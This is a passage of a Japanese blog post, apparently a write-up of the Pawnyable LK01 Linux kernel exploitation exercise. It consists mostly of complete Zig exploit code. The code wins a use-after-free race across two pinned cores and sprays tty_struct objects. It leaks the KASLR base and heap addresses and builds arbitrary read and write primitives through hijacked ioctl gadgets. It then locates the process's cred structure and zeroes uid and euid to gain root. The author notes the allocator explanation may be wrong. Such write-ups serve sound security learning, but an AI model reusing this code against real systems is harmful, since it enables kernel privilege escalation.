</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">race</span>() <span style="color:#00d3d0">!</span>posix.fd_t {
</span></span><span style="display:flex;"><span>    std.debug.<span style="color:#feacd0">assert</span>(<span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">getCpuCount</span>() <span style="color:#00d3d0">&gt;</span> <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> slave_sync <span style="color:#00d3d0">=</span> std.Thread.ResetEvent{};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> master_sync <span style="color:#00d3d0">=</span> std.Thread.ResetEvent{};
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> t1 <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, race_master, .{<span style="color:#00d3d0">&amp;</span>slave_sync, <span style="color:#00d3d0">&amp;</span>master_sync});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> t2 <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, race_slave, .{<span style="color:#00d3d0">&amp;</span>slave_sync, <span style="color:#00d3d0">&amp;</span>master_sync});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t1.<span style="color:#feacd0">getHandle</span>(), <span style="color:#00bcff">0</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t2.<span style="color:#feacd0">getHandle</span>(), <span style="color:#00bcff">1</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    t1.<span style="color:#feacd0">join</span>();
</span></span><span style="display:flex;"><span>    t2.<span style="color:#feacd0">join</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Won the race&#34;</span>, .{});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> master_fd <span style="color:#00d3d0">=</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> master_fd.<span style="color:#00d3d0">?</span>;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[INFO] Won the race</span></span></code></pre></div>

<p>複数のコアをヒープスプレーする時には微妙な違いはある。
<strong>以下の説明は多分間違いが含むてる。</strong></p>
<p><kbd>g_buf</kbd>​を解法する時（コア1で）、おそらく​<kbd>g_buf</kbd>​に居るスラブはコア0またはコア1のいずれかのアクティブスラブ。
何故なら、確保した時点で真っ直ぐに解放したから。
<kbd>g_buf</kbd>​はコア1に確保した場合、解法するとコア1のアクティブスラブのlock-freeフリーリスト（それとスラブのフリーリストは別物）。
つまり、​<kbd>g_buf</kbd>​に行った空虚な空間に新しい構造体を確保するてめに、その構造体はコア1から確保する必要だ。
<kbd>g_buf</kbd>​はコア0に確保したとコア1に解法した場合、アクティブスラブのフリーリストに追加する。
コア0に確保するでもコア1に確保するでも、結果は同じだ。<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup><sup>, </sup><sup id="fnref:6"><a href="#fn:6" class="footnote-ref" role="doc-noteref">6</a></sup>.</p>
<p>要するに、コア0とコア1両方にスプレーするが必要だ。</p>
<p><a id="code-snippet--lk01-4-spray"></a></p>





  
  
    

  
  
    









<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">spray</span>(dangling_fd<span style="color:#00d3d0">:</span> posix.fd_t, tty_fd<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*?</span>posix.fd_t) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> fds<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">100</span>]posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> i<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..i) <span style="color:#00d3d0">|</span>j<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(fds[j]);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">while</span> (i <span style="color:#00d3d0">&lt;</span> fds.len) <span style="color:#00d3d0">:</span> (i <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">1</span>) {
</span></span><span style="display:flex;"><span>        fds[i] <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/ptmx&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDONLY, .NOCTTY <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> }, <span style="color:#00bcff">0o660</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a8a8a8">// check if dangling_fd point to a tty_struct
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>        <span style="color:#b6a0ff">var</span> buf <span style="color:#00d3d0">=</span>  [_]<span style="color:#6ae4b9">u8</span>{<span style="color:#00bcff">0</span>} <span style="color:#00d3d0">**</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;magic&#34;</span>));
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">read</span>(dangling_fd, <span style="color:#00d3d0">&amp;</span>buf) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, <span style="color:#00d3d0">&amp;</span>buf, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_struct{ .ops <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>, .driver <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span> })[<span style="color:#00bcff">0</span>..buf.len])) {
</span></span><span style="display:flex;"><span>            tty_fd.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> fds[i];
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">getTty</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span>posix.fd_t {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..<span style="color:#00bcff">2</span>) <span style="color:#00d3d0">|</span>cpu<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> ret<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span>posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> t <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> std.Thread.<span style="color:#feacd0">spawn</span>(.{}, spray, .{fd, <span style="color:#00d3d0">&amp;</span>ret});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">pinThreadToCore</span>(t.<span style="color:#feacd0">getHandle</span>(), cpu);
</span></span><span style="display:flex;"><span>        t.<span style="color:#feacd0">join</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (ret) <span style="color:#00d3d0">|</span>tty_fd<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Heap spray succeeded on core {d}&#34;</span>, .{cpu});
</span></span><span style="display:flex;"><span>            <span style="color:#b6a0ff">break</span> tty_fd;
</span></span><span style="display:flex;"><span>        } <span style="color:#b6a0ff">else</span> {
</span></span><span style="display:flex;"><span>            std.log.<span style="color:#feacd0">warn</span>(<span style="color:#79a8ff">&#34;Heap spray failed on core {d}, retrying on {d}...&#34;</span>, .{cpu, cpu<span style="color:#00d3d0">+</span><span style="color:#00bcff">1</span>});
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> <span style="color:#b6a0ff">error</span>.SprayFailed;
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[INFO] Won the race
</span></span><span style="display:flex;"><span>[INFO] Heap spray succeeded on core 0</span></span></code></pre></div>

<p>後はv3と同様に攻撃する。今度は​<kbd>task_struct</kbd>​を書き込めるをやろう。</p>
<p><a id="code-snippet--lk01-4-full"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  

  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk01-4-race">&lt;&lt;lk01-4-race&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk01-4-spray">&lt;&lt;lk01-4-spray&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--tty_struct">&lt;&lt;tty_struct&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_ADDROF_RDX_RCX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff811b72c6</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> MOV_EAX_ADDROF_RDX<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff8145e3a8</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> aa_memoize<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span><span style="color:#b6a0ff">enum</span> { read, write } <span style="color:#00d3d0">=</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">aaw</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, tty<span style="color:#00d3d0">:</span> posix.fd_t, g_buf_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>, value<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>, address<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (aa_memoize <span style="color:#b6a0ff">orelse</span> .read) {
</span></span><span style="display:flex;"><span>        .write <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>            _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(fd, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_struct.<span style="color:#feacd0">init</span>(g_buf_addr <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@sizeOf</span>(tty_struct))) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_operations{ .ioctl <span style="color:#00d3d0">=</span> MOV_ADDROF_RDX_RCX }));
</span></span><span style="display:flex;"><span>            aa_memoize <span style="color:#00d3d0">=</span> .write;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (posix.<span style="color:#feacd0">errno</span>(linux.<span style="color:#feacd0">ioctl</span>(tty, value, address))) {
</span></span><span style="display:flex;"><span>        .SUCCESS <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.AAWFail,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">aar</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t, tty<span style="color:#00d3d0">:</span> posix.fd_t, g_buf_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>, address<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u32</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">switch</span> (aa_memoize <span style="color:#b6a0ff">orelse</span> .write) {
</span></span><span style="display:flex;"><span>        .read <span style="color:#00d3d0">=&gt;</span> {},
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">else</span> <span style="color:#00d3d0">=&gt;</span> {
</span></span><span style="display:flex;"><span>            _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">write</span>(fd, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_struct.<span style="color:#feacd0">init</span>(g_buf_addr <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@sizeOf</span>(tty_struct))) <span style="color:#00d3d0">++</span> std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>tty_operations{ .ioctl <span style="color:#00d3d0">=</span> MOV_EAX_ADDROF_RDX }));
</span></span><span style="display:flex;"><span>            aa_memoize <span style="color:#00d3d0">=</span> .read;
</span></span><span style="display:flex;"><span>        },
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// we hijack the return value of ioctl, so we can&#39;t check it for errors
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#b6a0ff">return</span> <span style="color:#f78fe7">@intCast</span>(<span style="color:#00bcff">0xffffffff</span> <span style="color:#00d3d0">&amp;</span> linux.<span style="color:#feacd0">ioctl</span>(tty, <span style="color:#00bcff">0xdeadbeef</span>, address));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span>) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> gadgets <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">&amp;</span>[_]<span style="color:#00d3d0">*</span><span style="color:#6ae4b9">u64</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MOV_ADDROF_RDX_RCX,
</span></span><span style="display:flex;"><span>        <span style="color:#00d3d0">&amp;</span>MOV_EAX_ADDROF_RDX,
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (gadgets) <span style="color:#00d3d0">|</span>g<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        g.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">+=</span> kaslr_offset;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakKASLROffset</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ptmx_fops_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81c3afe0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [<span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>)<span style="color:#00d3d0">+</span><span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>))]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret <span style="color:#00d3d0">-</span> ptmx_fops_addr;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">leakHeap</span>(fd<span style="color:#00d3d0">:</span> posix.fd_t) <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">u64</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> offset <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">comptime</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> ld_semaphore <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk <span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@offsetOf</span>(ld_semaphore, <span style="color:#79a8ff">&#34;read_wait&#34;</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@typeInfo</span>(<span style="color:#f78fe7">@FieldType</span>(ld_semaphore, <span style="color:#79a8ff">&#34;read_wait&#34;</span>)).@<span style="color:#79a8ff">&#34;struct&#34;</span>.fields[<span style="color:#00bcff">0</span>].<span style="color:#6ae4b9">type</span>);
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> buf<span style="color:#00d3d0">:</span> [offset]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">read</span>(fd, <span style="color:#00d3d0">&amp;</span>buf);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ret <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, buf[buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>..]).<span style="color:#00d3d0">*</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> ret <span style="color:#00d3d0">-</span> (buf.len<span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">race</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> tty <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">getTty</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kaslr_offset <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakKASLROffset</span>(fd);
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base: 0x{s}&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>(kaslr_offset<span style="color:#00d3d0">+</span><span style="color:#00bcff">0xffffffff81000000</span>))), .lower)});
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> g_buf <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">leakHeap</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">prctl</span>(.SET_NAME, .{<span style="color:#f78fe7">@intFromPtr</span>(<span style="color:#79a8ff">&#34;okamikun&#34;</span>), <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>, <span style="color:#00bcff">0</span>});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span> <span style="color:#00d3d0">=</span> g_buf <span style="color:#00d3d0">-</span> <span style="color:#00bcff">0x1000000</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> creds <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">while</span> (addr <span style="color:#00d3d0">&lt;</span> g_buf <span style="color:#00d3d0">+</span> <span style="color:#00bcff">0x1000000</span>) <span style="color:#00d3d0">:</span> (addr <span style="color:#00d3d0">+=</span> <span style="color:#00bcff">0x8</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> ((addr <span style="color:#00d3d0">&amp;</span> <span style="color:#00bcff">0xfffff</span>) <span style="color:#00d3d0">==</span> <span style="color:#00bcff">0</span>)
</span></span><span style="display:flex;"><span>            std.debug.<span style="color:#feacd0">print</span>(<span style="color:#79a8ff">&#34;searching... 0x{s}</span><span style="color:#79a8ff">\n</span><span style="color:#79a8ff">&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>addr)), .lower)});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, <span style="color:#79a8ff">&#34;okamikun&#34;</span>, std.mem.<span style="color:#feacd0">sliceAsBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u32</span>{<span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aar</span>(fd, tty, g_buf, addr), <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aar</span>(fd, tty, g_buf, addr<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x4</span>)}))) {
</span></span><span style="display:flex;"><span>            <span style="color:#a8a8a8">// task_struct is huge, I ain&#39;t copying that!
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            <span style="color:#a8a8a8">// just remember that `comm` comes immediately after `creds`.
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>            <span style="color:#b6a0ff">break</span> std.mem.<span style="color:#feacd0">readInt</span>(<span style="color:#6ae4b9">u64</span>, <span style="color:#f78fe7">@ptrCast</span>(std.mem.<span style="color:#feacd0">sliceAsBytes</span>(<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u32</span>{<span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aar</span>(fd, tty, g_buf, addr<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>), <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aar</span>(fd, tty, g_buf, (addr<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x8</span>)<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x4</span>)})), .little);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.HeapScanFailed;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;task_struct.creds = 0x{s}&#34;</span>, .{std.fmt.<span style="color:#feacd0">bytesToHex</span>(<span style="color:#feacd0">bigEndianify</span>(<span style="color:#00bcff">8</span>, std.mem.<span style="color:#feacd0">asBytes</span>(<span style="color:#00d3d0">&amp;</span>creds)), .lower)});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00d3d0">&amp;</span>[_]<span style="color:#6ae4b9">u64</span>{<span style="color:#f78fe7">@offsetOf</span>(cred, <span style="color:#79a8ff">&#34;uid&#34;</span>), <span style="color:#f78fe7">@offsetOf</span>(cred, <span style="color:#79a8ff">&#34;euid&#34;</span>)}) <span style="color:#00d3d0">|</span>offset<span style="color:#00d3d0">|</span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">aaw</span>(fd, tty, g_buf, <span style="color:#00bcff">0</span>, creds<span style="color:#00d3d0">+</span>offset);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">whoami</span>();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> cred <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">extern</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>    usage<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>    uid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>	gid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>	suid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>	sgid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>	euid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>	egid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>	fsuid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>	fsgid<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u32</span>,
</span></span><span style="display:flex;"><span>};</span></span></code></pre></div>
</details>






  
  
    

  
  
